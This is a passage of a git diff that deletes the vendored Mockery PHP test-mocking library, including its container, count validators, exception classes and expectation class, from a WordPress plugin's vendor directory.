method is deprecated and will be removed in a future version of Mockery', __METHOD__), - E_USER_DEPRECATED - ); - - return $this->_allowMockingMethodsUnnecessarily; - } - - /** - * Return flag indicating whether mocking non-existent methods allowed - * - * @return bool - */ - public function mockingNonExistentMethodsAllowed() - { - return $this->_allowMockingNonExistentMethod; - } - - /** - * Is reflection cache enabled? - * - * @return bool - */ - public function reflectionCacheEnabled() - { - return $this->_reflectionCacheEnabled; - } - - /** - * Remove all overridden parameter maps from internal PHP classes. - * - * @return void - */ - public function resetInternalClassMethodParamMaps() - { - $this->_internalClassParamMap = []; - } - - /** - * Set a map of constants to be used in the mock generator - * - * e.g. ['MyClass' => ['MY_CONST' => 123, 'ARRAY_CONST' => ['foo', 'bar']]] - * - * @param array|scalar>> $map - * - * @return void - */ - public function setConstantsMap(array $map) - { - $this->_constantsMap = $map; - } - - /** - * @param class-string $class - * @param class-string $matcherClass - * - * @throws InvalidArgumentException - * - * @return void - */ - public function setDefaultMatcher($class, $matcherClass) - { - $isHamcrest = is_a($matcherClass, Matcher::class, true) - || is_a($matcherClass, Hamcrest_Matcher::class, true); - - if ($isHamcrest) { - @trigger_error('Hamcrest package has been deprecated and will be removed in 2.0', E_USER_DEPRECATED); - } - - if (! $isHamcrest && ! is_a($matcherClass, MatcherInterface::class, true)) { - throw new InvalidArgumentException(sprintf( - "Matcher class must implement %s, '%s' given.", - MatcherInterface::class, - $matcherClass - )); - } - - $this->_defaultMatchers[$class] = $matcherClass; - } - - /** - * Set a parameter map (array of param signature strings) for the method of an internal PHP class. - * - * @param class-string $class - * @param string $method - * @param list $map - * - * @throws LogicException - * - * @return void - */ - public function setInternalClassMethodParamMap($class, $method, array $map) - { - if (PHP_MAJOR_VERSION > 7) { - throw new LogicException( - 'Internal class parameter overriding is not available in PHP 8. Incompatible signatures have been reclassified as fatal errors.' - ); - } - - $class = strtolower($class); - - if (! array_key_exists($class, $this->_internalClassParamMap)) { - $this->_internalClassParamMap[$class] = []; - } - - $this->_internalClassParamMap[$class][strtolower($method)] = $map; - } - - /** - * Set a custom object formatter for a class - * - * @param class-string $class - * @param Closure $formatterCallback - * - * @return void - */ - public function setObjectFormatter($class, $formatterCallback) - { - $this->_objectFormatters[$class] = $formatterCallback; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Container.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Container.php deleted file mode 100644 index ddba8884..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Container.php +++ /dev/null @@ -1,678 +0,0 @@ - - */ - protected $_groups = []; - - /** - * @var LoaderInterface - */ - protected $_loader; - - /** - * Store of mock objects - * - * @var array|array-key,LegacyMockInterface&MockInterface&TMockObject> - */ - protected $_mocks = []; - - /** - * @var array - */ - protected $_namedMocks = []; - - /** - * @var Instantiator - */ - protected $instantiator; - - public function __construct(?Generator $generator = null, ?LoaderInterface $loader = null, ?Instantiator $instantiator = null) - { - $this->_generator = $generator instanceof Generator ? $generator : Mockery::getDefaultGenerator(); - $this->_loader = $loader instanceof LoaderInterface ? $loader : Mockery::getDefaultLoader(); - $this->instantiator = $instantiator instanceof Instantiator ? $instantiator : new Instantiator(); - } - - /** - * Return a specific remembered mock according to the array index it - * was stored to in this container instance - * - * @template TMock of object - * - * @param class-string $reference - * - * @return null|(LegacyMockInterface&MockInterface&TMock) - */ - public function fetchMock($reference) - { - return $this->_mocks[$reference] ?? null; - } - - /** - * @return Generator - */ - public function getGenerator() - { - return $this->_generator; - } - - /** - * @param string $method - * @param string $parent - * - * @return null|string - */ - public function getKeyOfDemeterMockFor($method, $parent) - { - $keys = array_keys($this->_mocks); - - $match = preg_grep('/__demeter_' . md5($parent) . sprintf('_%s$/', $method), $keys); - if ($match === false) { - return null; - } - - if ($match === []) { - return null; - } - - return array_values($match)[0]; - } - - /** - * @return LoaderInterface - */ - public function getLoader() - { - return $this->_loader; - } - - /** - * @template TMock of object - * @return array|array-key,LegacyMockInterface&MockInterface&TMockObject> - */ - public function getMocks() - { - return $this->_mocks; - } - - /** - * @return void - */ - public function instanceMock() - { - } - - /** - * see http://php.net/manual/en/language.oop5.basic.php - * - * @param string $className - * - * @return bool - */ - public function isValidClassName($className) - { - if ($className[0] === '\\') { - $className = substr($className, 1); // remove the first backslash - } - - // all the namespaces and class name should match the regex - return array_filter( - explode('\\', $className), - static function ($name): bool { - return ! preg_match('/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/', $name); - } - ) === []; - } - - /** - * Generates a new mock object for this container - * - * I apologies in advance for this. A God Method just fits the API which - * doesn't require differentiating between classes, interfaces, abstracts, - * names or partials - just so long as it's something that can be mocked. - * I'll refactor it one day so it's easier to follow. - * - * @template TMock of object - * - * @param array|TMock|Closure(LegacyMockInterface&MockInterface&TMock):LegacyMockInterface&MockInterface&TMock|array> $args - * - * @throws ReflectionException|RuntimeException - * - * @return LegacyMockInterface&MockInterface&TMock - */ - public function mock(...$args) - { - /** @var null|MockConfigurationBuilder $builder */ - $builder = null; - /** @var null|callable $expectationClosure */ - $expectationClosure = null; - $partialMethods = null; - $quickDefinitions = []; - $constructorArgs = null; - $blocks = []; - - if (count($args) > 1) { - $finalArg = array_pop($args); - - if (is_callable($finalArg) && is_object($finalArg)) { - $expectationClosure = $finalArg; - } else { - $args[] = $finalArg; - } - } - - foreach ($args as $k => $arg) { - if ($arg instanceof MockConfigurationBuilder) { - $builder = $arg; - - unset($args[$k]); - } - } - - reset($args); - - $builder = $builder ?? new MockConfigurationBuilder(); - $mockeryConfiguration = Mockery::getConfiguration(); - $builder->setParameterOverrides($mockeryConfiguration->getInternalClassMethodParamMaps()); - $builder->setConstantsMap($mockeryConfiguration->getConstantsMap()); - - while ($args !== []) { - $arg = array_shift($args); - - // check for multiple interfaces - if (is_string($arg)) { - foreach (explode('|', $arg) as $type) { - if ($arg === 'null') { - // skip PHP 8 'null's - continue; - } - - if (strpos($type, ',') && !strpos($type, ']')) { - $interfaces = explode(',', str_replace(' ', '', $type)); - - $builder->addTargets($interfaces); - - continue; - } - - if (strpos($type, 'alias:') === 0) { - $type = str_replace('alias:', '', $type); - - $builder->addTarget('stdClass'); - $builder->setName($type); - - continue; - } - - if (strpos($type, 'overload:') === 0) { - $type = str_replace('overload:', '', $type); - - $builder->setInstanceMock(true); - $builder->addTarget('stdClass'); - $builder->setName($type); - - continue; - } - - if ($type[strlen($type) - 1] === ']') { - $parts = explode('[', $type); - - $class = $parts[0]; - - if (! class_exists($class, true) && ! interface_exists($class, true)) { - throw new Exception('Can only create a partial mock from an existing class or interface'); - } - - $builder->addTarget($class); - - $partialMethods = array_filter( - explode(',', strtolower(rtrim(str_replace(' ', '', $parts[1]), ']'))) - ); - - foreach ($partialMethods as $partialMethod) { - if ($partialMethod[0] === '!') { - $builder->addBlackListedMethod(substr($partialMethod, 1)); - - continue; - } - - $builder->addWhiteListedMethod($partialMethod); - } - - continue; - } - - if (class_exists($type, true) || interface_exists($type, true) || trait_exists($type, true)) { - $builder->addTarget($type); - - continue; - } - - if (! $mockeryConfiguration->mockingNonExistentMethodsAllowed()) { - throw new Exception(sprintf("Mockery can't find '%s' so can't mock it", $type)); - } - - if (! $this->isValidClassName($type)) { - throw new Exception('Class name contains invalid characters'); - } - - $builder->addTarget($type); - - // unions are "sum" types and not "intersections", and so we must only process the first part - break; - } - - continue; - } - - if (is_object($arg)) { - $builder->addTarget($arg); - - continue; - } - - if (is_array($arg)) { - if ([] !== $arg && array_keys($arg) !== range(0, count($arg) - 1)) { - // if associative array - if (array_key_exists(self::BLOCKS, $arg)) { - $blocks = $arg[self::BLOCKS]; - } - - unset($arg[self::BLOCKS]); - - $quickDefinitions = $arg; - - continue; - } - - $constructorArgs = $arg; - - continue; - } - - throw new Exception(sprintf( - 'Unable to parse arguments sent to %s::mock()', get_class($this) - )); - } - - $builder->addBlackListedMethods($blocks); - - if ($constructorArgs !== null) { - $builder->addBlackListedMethod('__construct'); // we need to pass through - } else { - $builder->setMockOriginalDestructor(true); - } - - if ($partialMethods !== null && $constructorArgs === null) { - $constructorArgs = []; - } - - $config = $builder->getMockConfiguration(); - - $this->checkForNamedMockClashes($config); - - $def = $this->getGenerator()->generate($config); - - $className = $def->getClassName(); - if (class_exists($className, $attemptAutoload = false)) { - $rfc = new ReflectionClass($className); - if (! $rfc->implementsInterface(LegacyMockInterface::class)) { - throw new RuntimeException(sprintf('Could not load mock %s, class already exists', $className)); - } - } - - $this->getLoader()->load($def); - - $mock = $this->_getInstance($className, $constructorArgs); - $mock->mockery_init($this, $config->getTargetObject(), $config->isInstanceMock()); - - if ($quickDefinitions !== []) { - if ($mockeryConfiguration->getQuickDefinitions()->shouldBeCalledAtLeastOnce()) { - $mock->shouldReceive($quickDefinitions)->atLeast()->once(); - } else { - $mock->shouldReceive($quickDefinitions)->byDefault(); - } - } - - // if the last parameter passed to mock() is a closure, - if ($expectationClosure instanceof Closure) { - // call the closure with the mock object - $expectationClosure($mock); - } - - return $this->rememberMock($mock); - } - - /** - * Fetch the next available allocation order number - * - * @return int - */ - public function mockery_allocateOrder() - { - return ++$this->_allocatedOrder; - } - - /** - * Reset the container to its original state - * - * @return void - */ - public function mockery_close() - { - foreach ($this->_mocks as $mock) { - $mock->mockery_teardown(); - } - - $this->_mocks = []; - } - - /** - * Get current ordered number - * - * @return int - */ - public function mockery_getCurrentOrder() - { - return $this->_currentOrder; - } - - /** - * Gets the count of expectations on the mocks - * - * @return int - */ - public function mockery_getExpectationCount() - { - $count = 0; - foreach ($this->_mocks as $mock) { - $count += $mock->mockery_getExpectationCount(); - } - - return $count; - } - - /** - * Fetch array of ordered groups - * - * @return array - */ - public function mockery_getGroups() - { - return $this->_groups; - } - - /** - * Set current ordered number - * - * @param int $order - * - * @return int The current order number that was set - */ - public function mockery_setCurrentOrder($order) - { - return $this->_currentOrder = $order; - } - - /** - * Set ordering for a group - * - * @param string $group - * @param int $order - * - * @return void - */ - public function mockery_setGroup($group, $order) - { - $this->_groups[$group] = $order; - } - - /** - * Tear down tasks for this container - * - * @throws PHPException - */ - public function mockery_teardown() - { - try { - $this->mockery_verify(); - } catch (PHPException $phpException) { - $this->mockery_close(); - - throw $phpException; - } - } - - /** - * Retrieves all exceptions thrown by mocks - * - * @return array - */ - public function mockery_thrownExceptions() - { - /** @var array $exceptions */ - $exceptions = []; - - foreach ($this->_mocks as $mock) { - foreach ($mock->mockery_thrownExceptions() as $exception) { - $exceptions[] = $exception; - } - } - - return $exceptions; - } - - /** - * Validate the current mock's ordering - * - * @param string $method - * @param int $order - * - * @throws Exception - */ - public function mockery_validateOrder($method, $order, LegacyMockInterface $mock) - { - if ($order < $this->_currentOrder) { - $exception = new InvalidOrderException( - sprintf( - 'Method %s called out of order: expected order %d, was %d', - $method, - $order, - $this->_currentOrder - ) - ); - - $exception->setMock($mock) - ->setMethodName($method) - ->setExpectedOrder($order) - ->setActualOrder($this->_currentOrder); - - throw $exception; - } - - $this->mockery_setCurrentOrder($order); - } - - /** - * Verify the container mocks - */ - public function mockery_verify() - { - foreach ($this->_mocks as $mock) { - $mock->mockery_verify(); - } - } - - /** - * Store a mock and set its container reference - * - * @template TRememberMock of object - * - * @param LegacyMockInterface&MockInterface&TRememberMock $mock - * - * @return LegacyMockInterface&MockInterface&TRememberMock - */ - public function rememberMock(LegacyMockInterface $mock) - { - $class = get_class($mock); - - if (! array_key_exists($class, $this->_mocks)) { - return $this->_mocks[$class] = $mock; - } - - /** - * This condition triggers for an instance mock where origin mock - * is already remembered - */ - return $this->_mocks[] = $mock; - } - - /** - * Retrieve the last remembered mock object, - * which is the same as saying retrieve the current mock being programmed where you have yet to call mock() - * to change it thus why the method name is "self" since it will be used during the programming of the same mock. - * - * @return LegacyMockInterface|MockInterface - */ - public function self() - { - $mocks = array_values($this->_mocks); - $index = count($mocks) - 1; - return $mocks[$index]; - } - - /** - * @template TMock of object - * @template TMixed - * - * @param class-string $mockName - * @param null|array $constructorArgs - * - * @return TMock - */ - protected function _getInstance($mockName, $constructorArgs = null) - { - if ($constructorArgs !== null) { - return (new ReflectionClass($mockName))->newInstanceArgs($constructorArgs); - } - - try { - $instance = $this->instantiator->instantiate($mockName); - } catch (PHPException $phpException) { - /** @var class-string $internalMockName */ - $internalMockName = $mockName . '_Internal'; - - if (! class_exists($internalMockName)) { - eval(sprintf( - 'class %s extends %s { public function __construct() {} }', - $internalMockName, - $mockName - )); - } - - $instance = new $internalMockName(); - } - - return $instance; - } - - protected function checkForNamedMockClashes($config) - { - $name = $config->getName(); - - if ($name === null) { - return; - } - - $hash = $config->getHash(); - - if (array_key_exists($name, $this->_namedMocks) && $hash !== $this->_namedMocks[$name]) { - throw new Exception( - sprintf("The mock named '%s' has been already defined with a different mock configuration", $name) - ); - } - - $this->_namedMocks[$name] = $hash; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtLeast.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtLeast.php deleted file mode 100644 index f250d755..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtLeast.php +++ /dev/null @@ -1,58 +0,0 @@ -_limit > $n) { - $exception = new InvalidCountException( - 'Method ' . (string) $this->_expectation - . ' from ' . $this->_expectation->getMock()->mockery_getName() - . ' should be called' . PHP_EOL - . ' at least ' . $this->_limit . ' times but called ' . $n - . ' times.' - ); - - $exception->setMock($this->_expectation->getMock()) - ->setMethodName((string) $this->_expectation) - ->setExpectedCountComparative('>=') - ->setExpectedCount($this->_limit) - ->setActualCount($n); - throw $exception; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtMost.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtMost.php deleted file mode 100644 index 11bbe37c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtMost.php +++ /dev/null @@ -1,45 +0,0 @@ -_limit < $n) { - $exception = new InvalidCountException( - 'Method ' . (string) $this->_expectation - . ' from ' . $this->_expectation->getMock()->mockery_getName() - . ' should be called' . PHP_EOL - . ' at most ' . $this->_limit . ' times but called ' . $n - . ' times.' - ); - $exception->setMock($this->_expectation->getMock()) - ->setMethodName((string) $this->_expectation) - ->setExpectedCountComparative('<=') - ->setExpectedCount($this->_limit) - ->setActualCount($n); - throw $exception; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorAbstract.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorAbstract.php deleted file mode 100644 index 3ecfde3a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorAbstract.php +++ /dev/null @@ -1,62 +0,0 @@ -_expectation = $expectation; - $this->_limit = $limit; - } - - /** - * Checks if the validator can accept an additional nth call - * - * @param int $n - * - * @return bool - */ - public function isEligible($n) - { - return $n < $this->_limit; - } - - /** - * Validate the call count against this validator - * - * @param int $n - * - * @return bool - */ - abstract public function validate($n); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorInterface.php deleted file mode 100644 index 1cbf4cc3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorInterface.php +++ /dev/null @@ -1,24 +0,0 @@ -_limit !== $n) { - $because = $this->_expectation->getExceptionMessage(); - - $exception = new InvalidCountException( - 'Method ' . (string) $this->_expectation - . ' from ' . $this->_expectation->getMock()->mockery_getName() - . ' should be called' . PHP_EOL - . ' exactly ' . $this->_limit . ' times but called ' . $n - . ' times.' - . ($because ? ' Because ' . $this->_expectation->getExceptionMessage() : '') - ); - $exception->setMock($this->_expectation->getMock()) - ->setMethodName((string) $this->_expectation) - ->setExpectedCountComparative('=') - ->setExpectedCount($this->_limit) - ->setActualCount($n); - throw $exception; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/Exception.php deleted file mode 100644 index b1c20cd4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/Exception.php +++ /dev/null @@ -1,18 +0,0 @@ -dismissed = true; - // we sometimes stack them - $previous = $this->getPrevious(); - if (! $previous instanceof self) { - return; - } - - $previous->dismiss(); - } - - /** - * @return bool - */ - public function dismissed() - { - return $this->dismissed; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidArgumentException.php deleted file mode 100644 index d76e275e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidArgumentException.php +++ /dev/null @@ -1,15 +0,0 @@ -actual; - } - - /** - * @return int - */ - public function getExpectedCount() - { - return $this->expected; - } - - /** - * @return string - */ - public function getExpectedCountComparative() - { - return $this->expectedComparative; - } - - /** - * @return string|null - */ - public function getMethodName() - { - return $this->method; - } - - /** - * @return LegacyMockInterface|null - */ - public function getMock() - { - return $this->mockObject; - } - - /** - * @throws RuntimeException - * @return string|null - */ - public function getMockName() - { - $mock = $this->getMock(); - - if ($mock === null) { - return ''; - } - - return $mock->mockery_getName(); - } - - /** - * @param int $count - * @return self - */ - public function setActualCount($count) - { - $this->actual = $count; - return $this; - } - - /** - * @param int $count - * @return self - */ - public function setExpectedCount($count) - { - $this->expected = $count; - return $this; - } - - /** - * @param string $comp - * @return self - */ - public function setExpectedCountComparative($comp) - { - if (! in_array($comp, ['=', '>', '<', '>=', '<='], true)) { - throw new RuntimeException('Illegal comparative for expected call counts set: ' . $comp); - } - - $this->expectedComparative = $comp; - return $this; - } - - /** - * @param string $name - * @return self - */ - public function setMethodName($name) - { - $this->method = $name; - return $this; - } - - /** - * @return self - */ - public function setMock(LegacyMockInterface $mock) - { - $this->mockObject = $mock; - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidOrderException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidOrderException.php deleted file mode 100644 index cf5bb70d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidOrderException.php +++ /dev/null @@ -1,125 +0,0 @@ -actual; - } - - /** - * @return int - */ - public function getExpectedOrder() - { - return $this->expected; - } - - /** - * @return string|null - */ - public function getMethodName() - { - return $this->method; - } - - /** - * @return LegacyMockInterface|null - */ - public function getMock() - { - return $this->mockObject; - } - - /** - * @return string|null - */ - public function getMockName() - { - $mock = $this->getMock(); - - if ($mock === null) { - return $mock; - } - - return $mock->mockery_getName(); - } - - /** - * @param int $count - * - * @return self - */ - public function setActualOrder($count) - { - $this->actual = $count; - return $this; - } - - /** - * @param int $count - * - * @return self - */ - public function setExpectedOrder($count) - { - $this->expected = $count; - return $this; - } - - /** - * @param string $name - * - * @return self - */ - public function setMethodName($name) - { - $this->method = $name; - return $this; - } - - /** - * @return self - */ - public function setMock(LegacyMockInterface $mock) - { - $this->mockObject = $mock; - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/MockeryExceptionInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/MockeryExceptionInterface.php deleted file mode 100644 index 5ce07eee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/MockeryExceptionInterface.php +++ /dev/null @@ -1,19 +0,0 @@ - - */ - protected $actual = []; - - /** - * @var string|null - */ - protected $method = null; - - /** - * @var LegacyMockInterface|null - */ - protected $mockObject = null; - - /** - * @return array - */ - public function getActualArguments() - { - return $this->actual; - } - - /** - * @return string|null - */ - public function getMethodName() - { - return $this->method; - } - - /** - * @return LegacyMockInterface|null - */ - public function getMock() - { - return $this->mockObject; - } - - /** - * @return string|null - */ - public function getMockName() - { - $mock = $this->getMock(); - - if ($mock === null) { - return $mock; - } - - return $mock->mockery_getName(); - } - - /** - * @todo Rename param `count` to `args` - * @template TMixed - * - * @param array $count - * @return self - */ - public function setActualArguments($count) - { - $this->actual = $count; - return $this; - } - - /** - * @param string $name - * @return self - */ - public function setMethodName($name) - { - $this->method = $name; - return $this; - } - - /** - * @return self - */ - public function setMock(LegacyMockInterface $mock) - { - $this->mockObject = $mock; - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/RuntimeException.php deleted file mode 100644 index 5d4f643d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/RuntimeException.php +++ /dev/null @@ -1,17 +0,0 @@ -_mock = $mock; - $this->_name = $name; - $this->withAnyArgs(); - } - - /** - * Cloning logic - */ - public function __clone() - { - $newValidators = []; - - $countValidators = $this->_countValidators; - - foreach ($countValidators as $validator) { - $newValidators[] = clone $validator; - } - - $this->_countValidators = $newValidators; - } - - /** - * Return a string with the method name and arguments formatted - * - * @return string - */ - public function __toString() - { - return Mockery::formatArgs($this->_name, $this->_expectedArgs); - } - - /** - * Set a return value, or sequential queue of return values - * - * @param mixed ...$args - * - * @return self - */ - public function andReturn(...$args) - { - $this->_returnQueue = $args; - - return $this; - } - - /** - * Sets up a closure to return the nth argument from the expected method call - * - * @param int $index - * - * @return self - */ - public function andReturnArg($index) - { - if (! is_int($index) || $index < 0) { - throw new InvalidArgumentException( - 'Invalid argument index supplied. Index must be a non-negative integer.' - ); - } - - $closure = static function (...$args) use ($index) { - if (array_key_exists($index, $args)) { - return $args[$index]; - } - - throw new OutOfBoundsException( - 'Cannot return an argument value. No argument exists for the index ' . $index - ); - }; - - $this->_closureQueue = [$closure]; - - return $this; - } - - /** - * @return self - */ - public function andReturnFalse() - { - return $this->andReturn(false); - } - - /** - * Return null. This is merely a language construct for Mock describing. - * - * @return self - */ - public function andReturnNull() - { - return $this->andReturn(null); - } - - /** - * Set a return value, or sequential queue of return values - * - * @param mixed ...$args - * - * @return self - */ - public function andReturns(...$args) - { - return $this->andReturn(...$args); - } - - /** - * Return this mock, like a fluent interface - * - * @return self - */ - public function andReturnSelf() - { - return $this->andReturn($this->_mock); - } - - /** - * @return self - */ - public function andReturnTrue() - { - return $this->andReturn(true); - } - - /** - * Return a self-returning black hole object. - * - * @return self - */ - public function andReturnUndefined() - { - return $this->andReturn(new Undefined()); - } - - /** - * Set a closure or sequence of closures with which to generate return - * values. The arguments passed to the expected method are passed to the - * closures as parameters. - * - * @param callable ...$args - * - * @return self - */ - public function andReturnUsing(...$args) - { - $this->_closureQueue = $args; - - return $this; - } - - /** - * Set a sequential queue of return values with an array - * - * @return self - */ - public function andReturnValues(array $values) - { - return $this->andReturn(...$values); - } - - /** - * Register values to be set to a public property each time this expectation occurs - * - * @param string $name - * @param array ...$values - * - * @return self - */ - public function andSet($name, ...$values) - { - $this->_setQueue[$name] = $values; - - return $this; - } - - /** - * Set Exception class and arguments to that class to be thrown - * - * @param string|Throwable $exception - * @param string $message - * @param int $code - * - * @return self - */ - public function andThrow($exception, $message = '', $code = 0, ?\Exception $previous = null) - { - $this->_throw = true; - - if (is_object($exception)) { - return $this->andReturn($exception); - } - - return $this->andReturn(new $exception($message, $code, $previous)); - } - - /** - * Set Exception classes to be thrown - * - * @return self - */ - public function andThrowExceptions(array $exceptions) - { - $this->_throw = true; - - foreach ($exceptions as $exception) { - if (! is_object($exception)) { - throw new Exception('You must pass an array of exception objects to andThrowExceptions'); - } - } - - return $this->andReturnValues($exceptions); - } - - public function andThrows($exception, $message = '', $code = 0, ?\Exception $previous = null) - { - return $this->andThrow($exception, $message, $code, $previous); - } - - /** - * Sets up a closure that will yield each of the provided args - * - * @param mixed ...$args - * - * @return self - */ - public function andYield(...$args) - { - $closure = static function () use ($args) { - foreach ($args as $arg) { - yield $arg; - } - }; - - $this->_closureQueue = [$closure]; - - return $this; - } - - /** - * Sets next count validator to the AtLeast instance - * - * @return self - */ - public function atLeast() - { - $this->_countValidatorClass = AtLeast::class; - - return $this; - } - - /** - * Sets next count validator to the AtMost instance - * - * @return self - */ - public function atMost() - { - $this->_countValidatorClass = AtMost::class; - - return $this; - } - - /** - * Set the exception message - * - * @param string $message - * - * @return $this - */ - public function because($message) - { - $this->_because = $message; - - return $this; - } - - /** - * Shorthand for setting minimum and maximum constraints on call counts - * - * @param int $minimum - * @param int $maximum - */ - public function between($minimum, $maximum) - { - return $this->atLeast()->times($minimum)->atMost()->times($maximum); - } - - /** - * Mark this expectation as being a default - * - * @return self - */ - public function byDefault() - { - $director = $this->_mock->mockery_getExpectationsFor($this->_name); - - if ($director instanceof ExpectationDirector) { - $director->makeExpectationDefault($this); - } - - return $this; - } - - /** - * @return null|string - */ - public function getExceptionMessage() - { - return $this->_because; - } - - /** - * Return the parent mock of the expectation - * - * @return LegacyMockInterface|MockInterface - */ - public function getMock() - { - return $this->_mock; - } - - public function getName() - { - return $this->_name; - } - - /** - * Return order number - * - * @return int - */ - public function getOrderNumber() - { - return $this->_orderNumber; - } - - /** - * Indicates call order should apply globally - * - * @return self - */ - public function globally() - { - $this->_globally = true; - - return $this; - } - - /** - * Check if there is a constraint on call count - * - * @return bool - */ - public function isCallCountConstrained() - { - return $this->_countValidators !== []; - } - - /** - * Checks if this expectation is eligible for additional calls - * - * @return bool - */ - public function isEligible() - { - foreach ($this->_countValidators as $validator) { - if (! $validator->isEligible($this->_actualCount)) { - return false; - } - } - - return true; - } - - /** - * Check if passed arguments match an argument expectation - * - * @return bool - */ - public function matchArgs(array $args) - { - if ($this->isArgumentListMatcher()) { - return $this->_matchArg($this->_expectedArgs[0], $args); - } - - $argCount = count($args); - - $expectedArgsCount = count($this->_expectedArgs); - - if ($argCount === $expectedArgsCount) { - return $this->_matchArgs($args); - } - - $lastExpectedArgument = $this->_expectedArgs[$expectedArgsCount - 1]; - - if ($lastExpectedArgument instanceof AndAnyOtherArgs) { - $firstCorrespondingKey = array_search($lastExpectedArgument, $this->_expectedArgs, true); - - $args = array_slice($args, 0, $firstCorrespondingKey); - - return $this->_matchArgs($args); - } - - return false; - } - - /** - * Indicates that this expectation is never expected to be called - * - * @return self - */ - public function never() - { - return $this->times(0); - } - - /** - * Indicates that this expectation is expected exactly once - * - * @return self - */ - public function once() - { - return $this->times(1); - } - - /** - * Indicates that this expectation must be called in a specific given order - * - * @param string $group Name of the ordered group - * - * @return self - */ - public function ordered($group = null) - { - if ($this->_globally) { - $this->_globalOrderNumber = $this->_defineOrdered($group, $this->_mock->mockery_getContainer()); - } else { - $this->_orderNumber = $this->_defineOrdered($group, $this->_mock); - } - - $this->_globally = false; - - return $this; - } - - /** - * Flag this expectation as calling the original class method with - * the provided arguments instead of using a return value queue. - * - * @return self - */ - public function passthru() - { - if ($this->_mock instanceof Mock) { - throw new Exception( - 'Mock Objects not created from a loaded/existing class are incapable of passing method calls through to a parent class' - ); - } - - $this->_passthru = true; - - return $this; - } - - /** - * Alias to andSet(). Allows the natural English construct - * - set('foo', 'bar')->andReturn('bar') - * - * @param string $name - * @param mixed $value - * - * @return self - */ - public function set($name, $value) - { - return $this->andSet(...func_get_args()); - } - - /** - * Indicates the number of times this expectation should occur - * - * @param int $limit - * - * @throws InvalidArgumentException - * - * @return self - */ - public function times($limit = null) - { - if ($limit === null) { - return $this; - } - - if (! is_int($limit)) { - throw new InvalidArgumentException('The passed Times limit should be an integer value'); - } - - if ($this->_expectedCount === 0) { - @trigger_error(self::ERROR_ZERO_INVOCATION, E_USER_DEPRECATED); - // throw new \InvalidArgumentException(self::ERROR_ZERO_INVOCATION); - } - - if ($limit === 0) { - $this->_countValidators = []; - } - - $this->_expectedCount = $limit; - - $this->_countValidators[$this->_countValidatorClass] = new $this->_countValidatorClass($this, $limit); - - if ($this->_countValidatorClass !== Exact::class) { - $this->_countValidatorClass = Exact::class; - - unset($this->_countValidators[$this->_countValidatorClass]); - } - - return $this; - } - - /** - * Indicates that this expectation is expected exactly twice - * - * @return self - */ - public function twice() - { - return $this->times(2); - } - - /** - * Verify call order - * - * @return void - */ - public function validateOrder() - { - if ($this->_orderNumber) { - $this->_mock->mockery_validateOrder((string) $this, $this->_orderNumber, $this->_mock); - } - - if ($this->_globalOrderNumber) { - 